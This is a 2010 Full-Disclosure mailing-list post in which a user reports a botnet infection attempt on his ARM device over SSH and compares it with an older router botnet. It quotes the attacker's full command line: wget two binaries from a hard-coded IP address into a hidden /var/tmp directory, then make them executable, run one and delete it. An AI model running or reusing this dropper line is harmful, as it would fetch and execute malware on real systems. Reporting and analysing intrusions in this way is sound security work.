On 11/19/2010 02:35 PM, Julien Reveret wrote: > Maybe it's a fork from this old botnet: http://dronebl.org/blog/8 ? > I haven't seen much routers with ARM CPUs whereas the number of SOHO > routers based on MIPS architecture seems to be high.
Interesting... From the first look of it this old botnet is way more advanced. At least the installprocess is. the only thing the 'hacker' tried to infect my Koyoney was: cd /var/tmp; mkdir .scan; wget http://93.184.100.76:2700/pwn/syslgd; wget http://93.184.100.76:2700/pwn/ssh;chmod u+x syslgd ssh;./syslgd; rm syslgd; Twice now btw, just had another ssh login from another IP that did the exact same thing. Grtz, Marco van Berkum _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
